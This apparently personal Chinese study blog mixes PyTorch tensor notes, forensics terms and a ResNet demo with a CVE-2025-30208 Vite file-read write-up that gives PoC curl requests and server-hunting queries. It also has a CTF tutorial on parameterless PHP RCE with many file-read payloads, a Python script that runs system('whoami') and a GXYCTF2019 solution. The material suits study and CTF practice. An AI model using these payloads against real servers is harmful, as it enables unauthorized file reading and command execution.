0%

从张量基础知识开始

学到的

·张量,是pytorch中的最基本的数据结构

·张量的索引与运算

·与NumPy多维数组交互操作

·将计算移动到GPU以提高速度

深度学习实际上需要构建一个能将数据从一种转化为另一种表示的系统,系统可以正确的将具有给定形状和颜色的图像映射到标签上

实际数据转化为浮点数

浮点数是网络处理信息的方式,深度学习的神经网络通常在不同阶段学习将数据从一种形式转化为另一种形式,每一个阶段转换的数据可以被认为是一个中间表征序列,这些中间表征都是浮点数的集合

1
输入表征(像素值)------->中间表征(浮点数集合)------->输出表征(类的概率)

开始将数据转化为浮点数输入之前,必须要对pytorch如何处理和存储数据有深入的理解

为此,pytorch引入了张量这个而基本的数据结构,在深度学习中张量可以将向量和矩阵推广到任意维度

张量:多维数组

从列表到张量

列表的索引的作用是众所周知的,可以用对应的索引来访问相对应位置的数据,这可以用来类比张量中的索引

构造第一个张量

来构造第一个pytorch张量

1
2
3
4
5
6
import torch
a = torch.ones(3)
# 解释:torch.ones(3)创建了一个长度为3的一维张量,其中所有元素都被初始化为1
# 所以当我们打印这个张量时,会看到3个1
print(f"这是一个一维张量,包含 {len(a)} 个元素: {a}")
print(a[1])#访问到第二个位置的数据

虽然看起来和列表差不多,但实际上是完全不一样的

张量的本质

张量通常是连续的内存块的视图,这些内存块包含未装箱的数字类型

假设有一个坐标列表,用它来表示一个几何对象,如一个二维三角形,顶点有三个,我们可以使用一维张量,将x轴坐标储存在偶数索引中,将y轴坐标储存在奇数索引中,而不是在列表中使用数字来 表示坐标,如下所示:

1
2
3
4
5
6
7
points = torch.zeros(6) 
points[0] = 4.0
points[1] = 1.0
points[2] = 5.0
points[3] = 3.0
points[4] = 2.0
points[5] = 1.0

也可以像构造函数传递一个列表达到相同的效果,如下图所示:

1
2
points = torch.tensor([4.0, 1.0, 5.0, 3.0, 2.0, 1.0]) 
points

尽管将第一个索引单独指向二维点而不是点是可行的,我们可以使用一个二维张量

1
2
points = torch.tensor([[4.0, 1.0], [5.0, 3.0], [2.0, 1.0]]) 
points

可以通过shape属性来查看张量的形状

1
2
3
points.shape
输出
torch.Size([3, 2])

我们就可以知道每一个维度上张量的带线啊哦,我们还可以使用zeros方法和ones方法来初始化张量,以元组的形式来指定大小

1
2
3
4
5
6
7
points = torch.zeros(3, 2) 
points

输出
tensor([[0., 0.],
[0., 0.],
[0., 0.]])

我们可以使用两个索引来访问呢张量中单个元素

1
2
3
points[0, 1]
输出
tensor(1.)#返回第0个点的y坐标,可以理解为二维数组访问元素的方法

索引张量

如果我们需要得到张量中除了第一个点之外的所有点,我们九十一使用列表中的切片,如在列表中

1
2
3
4
5
6
7
some_list = list(range(6)) 
some_list[:] #全部切片
some_list[1:4] #第二个到第三个
some_list[1:] #第二个以后
some_list[:4] #第一个到第三个
some_list[::1] #所有元素
some_list[1:4:2]#第二个到第三个,步长为2

在张量中,可以使用相同的表示法,在每一个维度都可以使用范围索引

1
2
3
4
points[1:] #第一行后的所有行,包含所有列
points[1:, :] #第一行后的所有行,所有列
points[1:, 0] #第一行后的所有行,第一列
points[None]#增加大小为1的维度

命名张量

张量的维度或者是坐标轴通常用来表示诸如像素位置或者是颜色通道的信息,当我们需要将一个张量作为索引的时候,我们需要记住维度的顺序并以此顺序些索引

假设有一个img_t的三维向量,为了简单,使用虚拟数据,将其转换为灰度图像,

1
img_t = torch.randn(3, 5, 5) # shape [channels, rows, columns] weights = torch.tensor([0.2126, 0.7152, 0.0722])

如果希望代码具有通用性,从表示为具有高度和宽度的二维张量的灰度图像到添加第三个通道的彩色图像,或者从单幅图像到一批图像,假设增加的维度是2:

1
batch_t = torch.randn(2, 3, 5, 5) # shape [batch, channels, rows, columns]

rgb通道有时候在第0维,有时在第一维,我们可以通过从末端开始计数来归纳,总是在从末端开始的第三维中,因此惰性的未加权平均值可以写成下面的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
img_gray_naive = img_t.mean(-3) 
batch_gray_naive = batch_t.mean(-3)
img_gray_naive.shape, batch_gray_naive.shape
解释
- 代码功能 :

- img_t.mean(-3) 和 batch_t.mean(-3) 都是沿着通道维度(第-3维)计算平均值
- 这种计算方式被称为"惰性"或"未加权"灰度转换,因为它简单地对RGB通道取均值
- 维度解释 :

- 对于单张图像 img_t (形状为 [C,H,W]):
- -3 表示通道维度(通常是第0维)
- 计算后会得到形状为 [H,W] 的灰度图
- 对于批量图像 batch_t (形状为 [N,C,H,W]):
- -3 仍然是通道维度(第1维)
- 计算后会得到形状为 [N,H,W] 的批量灰度图

灰度图:灰度图(Grayscale Image)是指仅包含亮度信息而不包含颜色信息的图像

pytorch允许我们对相同形状的张量进行乘法运算,也允许与给定维度中其中一个操作数大小为1的张量进行计算,他还会自动附加大小为1 的前导维度,这个特性别称之为广播

当创建和使用张量的位置在很远的时候,就很容易出现错误,可以给维度指定一个名称,

1
2
3
weights_named = torch.tensor([0.2126, 0.7152, 0.0722], names=['channels']) weights_named
输出
tensor([0.2126, 0.7152, 0.0722], names=('channels',))

当我们已经有一个张量并且想要为其添加名称但不改变现有的名称时,我们可以对其调用refine_names()方法。与索引类似,省略号(…)允许你省略任意数量的维度。使用rename()兄弟方法,还可以覆盖或删除(通过传入None)现有名称:

1
2
3
4
5
img_named = img_t.refine_names(..., 'channels', 'rows', 'columns') batch_named = batch_t.refine_names(..., 'channels', 'rows', 'columns') 
print("img named:", img_named.shape, img_named.names)
print("batch named:", batch_named.shape, batch_named.names)

img named: torch.Size([3, 5, 5]) ('channels', 'rows', 'columns') batch named: torch.Size([2, 3, 5, 5]) (None, 'channels', 'rows', 'columns')

初探取证

电子数据取证专业名词术语

临时文件

计算机使用过程中产生的临时数据,这些临时文件有时也可以给我们的调查提供一些线索

1
2
3
4
5
6
系统临时文件
C:\Windows\Temp\*.tmp
IE访问临时文件
C:\Documents and Settings\Username\Local Settings\Temporary Internet Files
office文档编辑时产生的临时文件
C:\Documnets and Settings\Administrator\Application Data\Microsoft\Word
历史记录

是指多数计算机程序在运行的过程中产生的 记录信息

1
2
在浏览器中,历史记录是指浏览器曾经访问过的网站在计算机中存在的信息
iis访问日志记录服务器的一些状况和访问ip的来源和登录情况等
未分配簇

是指哪些在当前文件系统中没有被分配的空间,数据恢复就是从将那些在磁盘上已删除的文件但空间地址未被覆盖,

在这里讲一下数据恢复的概念

1
比如你有一个文件,但是现在你把他删除了,你表面上是看不到这个文件了,但其实是这个文件隐藏起来了,文件资源管理器会对电脑发出指令,这个文件的内存地址我不需要了,你爱咋咋地,也就是后面新来的数据会直接覆盖在上面,如果被删除的文件的内存地址尚未被覆盖,那么就可以使用恢复工具进行恢复

未分配簇中可能包含大量重要的证据信息,只要数据未被覆盖,可以通过相关技术检索到或直接恢复,这是非常重要的

可以在取证软件中查看未分配簇内容,包含曾经被删除的数据

文件残留区

文件残留区是指文件逻辑大小到物理大小末尾之间的数据

1
2
3
|---------------------------------------|----------------|
|<--------------逻辑大小---------------->|<----文件残留区->|
|<--------------------------物理大小--------------------->|

簇:文件储存的最小单位,簇是有多个扇区组成

隐藏文件的方式

1
硬盘加密,压缩包加密,bitlocker加密,office文件加密,虚拟容器加密,修改文件拓展名,EFS文件加密,信息隐写

CVE-2025-30208

也是今天打题的时候,遇到的一个特别有意思的服务器漏洞,在这里记录一下,利用难度也不是很大

漏洞简介

CVE-2025-30208 是 Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,从而读取服务器上的敏感文件(如 /etc/passwd 或 C:\windows\win.ini)。

该漏洞主要影响以下版本的 Vite:

6.2.3 之前
6.1.2 之前
6.0.12 之前
5.4.15 之前
4.5.10 之前

漏洞原理

Vite 开发服务器提供 @fs 机制,用于防止访问 Vite 允许列表之外的文件。然而,由于 URL 解析时的正则表达式处理不当,攻击者可以通过 ?raw???import&raw?? 等查询参数绕过访问限制,从而读取任意文件。

详细分析
在 Vite 服务器的 URL 处理逻辑中,@fs 机制原本用于限制对非白名单目录的访问,例如:

1
2
3
4
5
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}

然而,Vite 在 URL 解析过程中会移除部分特殊字符,而未正确考虑查询参数的影响,导致攻击者可以构造类似如下的请求绕过安全检查:

1
2
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?import&raw??

由于 Vite 解析 URL 时未正确处理这些参数,导致绕过 server.fs.allow 限制,并返回任意文件内容。

漏洞利用
Fofa & Hunter 搜索
攻击者可使用以下测绘语句搜索可能受影响的 Vite 服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Fofa:
body="/@vite/client"

Hunter:
web.body="/@vite/client"
PoC(概念验证)
启动 Vite 服务器:

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
创建测试文件:

$ echo "top secret content" > /tmp/secret.txt
发送漏洞利用请求:

###

正常情况下被拒绝

1
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

绕过访问控制

1
2
3
4
5
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
漏洞验证
GET /etc/passwd?import&raw?? HTTP/1.1
Host: ********

无参数rce

这是今天打tgctf2025题的时候,遇到的问题,秉持着遇到问题就解决的思想,写下这篇博客,系统的研究无参数rce,废话不多说

什么是无参数

就是使用函数的时候不能带有参数,具体来说就是各种函数的嵌套,利用各种函数的返回值

常见函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

getallheaders()

这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的

1
2
plaintext
?code=print_r(getallheaders());

数组会返回 HTTP 请求头。

get_defined_vars()

1
2
3
getallheaders()`是有局限性的,因为如果中间件不是`apache`的话,它就用不了了,那我们就介绍一种更为普遍的方法`get_defined_vars()`,这种方法其实和上面那种方法原理是差不多的,它并不是获取的`headers`,而是获取的四个全局变量`$_GET $_POST $_FILES $_COOKIE
plaintext
?code=var_dump(get_defined_vars());

var_dump可以把返回数组打印出来。

getenv()

获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本

1
2
plaintext
?code=var_dump(getenv());

php7.0以下返回bool(false)

php7.0以上正常回显。

1
2
plaintext
?code=var_dump(getenv(phpinfo()));

phpinfo()可以获取所有环境变量。

scandir()

文件读取

查看当前目录文件名

1
2
plaintext
print_r(scandir(current(localeconv())));

读取当前目录文件

1
2
3
4
5
6
7
8
9
10
11
12
plaintext
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录文件名

1
2
3
4
plaintext
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

读取上级目录文件

1
2
3
4
plaintext
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径

无参数读取文件

查看当前目录

1
print_r(getcwd());

print_r(scandir('.'))查看当前目录下所有文件,以数组的形式输出。

但是要怎么构造.呢

使用localeconv()

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是 .

  • current() 返回数组中的单元,默认第一个值。

    所以我们输出 print_r(scandir(current(localeconv())));也会如同 print_r(scandir('.'))打印当前目录下文件名。

  • 使用 print_r(scandir(pos(localeconv())));,pos是current的别名

  • reset()函数将内部指针指向数组中的第一个元素,并输出。

    相关的方法:

    • current()- 返回数组中的当前元素的值
    • end()- 将内部指针指向数组中的最后一个元素,并输出
    • next()- 将内部指针指向数组中的下一个元素,并输出
    • prev()- 将内部指针指向数组中的上一个元素,并输出
    • each()- 返回当前元素的键名和键值,并将内部指针向前移动

查看和读取根目录文件

所获得的字符串第一位有几率是/,需要多试几次

1
2
php
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

current()和pos()

pos()函数是current()函数的别名,两者是完全一样的,

它的作用就是输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值。

chdir()

这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir切就好了,如果要向上跳就要构造chdir('..')

array_reverse()

将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()

highlight_file()

打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的

查看上级目录方法一:dirname()

从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

1
?code=print_r(scandir(dirname(getcwd())));

方法二:构造”..”

1
2
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
next(scandir(chr(ord(hebrevc(crypt(time()))))))

chdir() :改变当前工作目录

直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录

1
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

读取目录的函数

1
2
3
4
5
show_source()
highlight_file()
file_get_contents ()
readfile()
readgzfile()

无参数命令执行(RCE)

用其他变量辅佐eval传入参数

1
2
3
4
5
6
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION

getallheaders()

getallheaders()获取全部 HTTP 请求头信息

apache_response_headers() 获得全部 HTTP 响应头信息

这就意味着我们在headers里传入参数,再用该函数进行接收即可,但是其局限性在于只能是apeach 环境下。

get_defined_vars()

它能获取到以下变量

1
2
3
4
$_GET
$_POST
$_FILES
$_COOKIE

如何利用file变量进行rce呢?

1
2
3
4
5
6
7
8
9
10
import requests

files = {
"system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

session_id()

session_id(): 可以用来获取/设置 当前会话 ID。

session需要使用session_start()开启,然后返回参数给session_id()

但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

(PHP5.5 -7.1.9可行)

1
?code=show_source(session_id(session_start()));

其他版本可考虑用hex2bin() 将十六进制形式的命令还原。

1
2
3
4
5
6
7
8
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

getenv()

getenv() 获取一个环境变量的值(只适用于7.1以后版本)

通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。

那么如何读取其他文件

  • array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
  • array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。

我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组。

1
2
readfile(array_rand(array_flip(scandir(getcwd()))));
readfile(array_rand(array_flip(scandir(current(localeconve())))));

如果目标文件不在当前目录呢?

  • dirname() :返回路径中的目录部分,

    从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

  • chdir() :改变当前工作目录

    1
    print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
  • 构造”..”

    print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是”..”,所以可以用next()获取

    1
    print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件

    结合上文的一些构造都是可以获得”..”的 :

    1
    next(scandir(chr(ord(hebrevc(crypt(time()))))))
  • 读取上级目录文件

    直接 print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录,前面写到了chdir(),使用:

    1
    show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

    如果不能使用dirname(),可以使用构造”..”的方式切换路径并读取:

    但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))

    1
    2
    3
    4
    5
    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
    或更复杂的:
    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
    还可以用:
    show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

    还有:

    1
    if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

三、实战例题-[GXYCTF2019]禁止套娃

这道题目打开就是一个普通的页面,经过目录扫描会发现是git源码泄露,用Githack把源码弄出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

代码分析

首先看第一行关键代码:

1
2
plaintext
!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])

很明显,大概意思就是不让我们用伪协议去写或者是读文件。

然后看第二行关键代码:

1
2
plaintext
';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

再看第二个正则,中间有一个(?R),这个式子他会递归调用当前的正则表达式,就是说会出现\w+((?R)?),\w+(\w+((?R)?))的情况,也就是无参数函数校验。

最后第三行关键代码:

1
2
plaintext
!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])

就是屏蔽了一些函数名的关键字之类的东西。

分析完成我们整理一下:不能用伪协议 、只能用无参数函数形式、注意函数过滤

解题步骤

首先遍历当前目录:

1
2
plaintext
?exp=print_r(scandir(current(localeconv())));

顺利得到目录。

方法一:

可以看到flag.php是倒数第二个,那我们把它反转一下,然后再用一个next()就是flag.php这个文件了:

1
2
plaintext
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

已经很接近答案了,用highlight_file读取这个文件就拿到flag了:

1
2
plaintext
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

思路总结

1
2
3
4
5
plaintext
scandir(current(localeconv()))是查看当前目录
加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.)
再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码

方法二:

我们已经知道了flag就在当前目录下了。
array_rand()函数可以随机读取一个数组键,array_flip()又可以将数组中的键和值进行对换。
用这两个函数就可以实现对flag.php的读取。最后payload如下:

1
2
plaintext
?exp=print_r(show_source(array_rand(array_flip(scandir(current(localeconv()))))));

因为array_rand()的选取是随机的,所以不一定会直接出来,多刷新几次就可以了

预训练神经网络

网络上有很多是已经经过数据集训练的微型ai,非常的有趣,我们可以把预先训练的神经网络看作是一个接受输入并生成输出的程序,该程序的行为是有神经网络的结构以及它在训练过程中所看到的例子决定的,即期望的输入-输出对,或者期望输出满足的特性,使用现成的模型是快速启动深度学习的一种方法,节省了很多的时间

一个识别图像主体的预训练网络

作为对深度学习的第一次尝试,一个非常先进的深度神经网络是非常有必要的,有许多预先训练过的网络都可以通过源代码库进行访问呢,我本次尝试的是一个在imagenet数据集上的子集训练过的,

具体来说,图像识别的任务包括获取一个输入图像,并从1000个类别中生成5个白哦前的列表,按可信度排序描述图像的内容

获取一个预先训练好的网络

我所使用的网络是从torchvision中获取的,该项目包含一些表现优异的,关于计算机视觉的神经网络架构,可以方便得访问数据集和其他工具,首先加载并运行两个网络,一个是AlexNet,它是在图像是被方面早期具有突破性得网络之一,然后是残差网络,简称ResNet

1
2
3
4
5
In[1]
from torchvision import models
我们可以看看有多少模型
print(dir(models))
# Out[2]: ['AlexNet', 'DenseNet', 'Inception3', 'ResNet', 'SqueezeNet', 'VGG', ... 'alexnet', 'densenet', 'densenet121', ... 'resnet', 'resnet101', 'resnet152', ... ]

AlexNet

按照现在得标准,这是一个相当小得网络,但它非常适合着眼于神经网络,在AlexNet架构中,输入图像从左侧进入并且依次进入5个过滤器,每一个过滤器生成一些输出图像,经过每个过滤器后,图像会被缩小,在过滤器堆栈中,最后一个过滤器产生得图像被排列成一个拥有4096个元素得一维向量,并被分类以产生1000个输出,每个输出对应一个类

我们可以创建一个AlexNet类得实例,

1
alexnet = models.AlexNet()

此时,alexnet是一个可运行得对象,可以像函数一样调用它

ResNet

现在创建一个网络实例,传递一个参数,指示函数下载resnet101在imagenet数据集上训练好得权重

1
resnet = models.resnet101(pretrained=True) 

准备运行

1
resnet

再输入图像之前,我们必须要对输入得图像进行预处理,使其大小正确,torchvision模块提供了转换得操作,允许我们快速定义基本预处理函数得管道

1
2
3
4
5
6
7
8
9
from torchvision import transforms 
preprocess = transforms.Compose([
transforms.Resize(256),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize(
mean=[0.485, 0.456, 0.406],
std=[0.229, 0.224, 0.225]
)])

这个函数我解释一下,将输入得图像缩放到256x256个像素,围绕中心将图像裁剪为224x224个像素,并将其转化为一个张量,对其rgb分量进行归一化处理,使其具有定义得均值和标准差,张量是一种pytorch多维数组,然后我们就可以加载图像了

1
2
from PIL import Image 
img = Image.open("C:\\Users\\admin\\Pictures\\Camera Roll\\9C4F0A6EAC509071628AC3EF8D36CD8F.jpg")

通过管道传递图像

1
img_t = preprocess(img) 

然后我们可以按照网络期望得方式对输入得张量进行重塑

1
import torch batch_t = torch.unsqueeze(img_t, 0) 

现在可以运行模型了

运行模型

为了进行推理,需要将网络置于eval模式

1
resnet.eval()

准备进行推理

1
2
out = resnet(batch_t) 
out

最终产生一个有1000个分数得向量,要查看预测标签得列表,我们需要架子啊一个文本文件,挑选出标签,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 如果您想自动下载标签文件
import requests
import os

# 检查是否已经有标签文件
labels_path = "e:\\code\\.idea\\pytorch\\imagenet_classes.txt"
if not os.path.exists(labels_path):
# 从GitHub下载标签文件
url = "https://raw.githubusercontent.com/pytorch/hub/master/imagenet_classes.txt"
response = requests.get(url)
if response.status_code == 200:
with open(labels_path, 'wb') as f:
f.write(response.content)
print(f"标签文件已下载到 {labels_path}")
# 读取下载的标签文件
with open(labels_path) as f:
labels = [line.strip() for line in f.readlines()]
else:
print("无法下载标签文件,使用内置的部分标签")
else:
# 读取已有的标签文件
with open(labels_path) as f:
labels = [line.strip() for line in f.readlines()]

最后就直接输出结果

1
2
3
4
5
6
7
8
# 获取预测结果
_, indices = torch.sort(out, descending=True)
percentage = torch.nn.functional.softmax(out, dim=1)[0] * 100
print("预测的前5个类别:")
for idx in indices[0][:5]:
print(f"{labels[idx]}: {percentage[idx].item():.2f}%")
_, indices = torch.sort(out, descending=True)
[(labels[idx],percentage[idx].item()) for idx in indices[0][:5]]

输出结果如下

1
2
3
4
5
wig: 14.47%
stethoscope: 13.13%
kimono: 10.52%
hair slide: 10.51%
academic gown: 5.38%

识别结果如上,还是比较精准得吧

菜🐕初探神经网络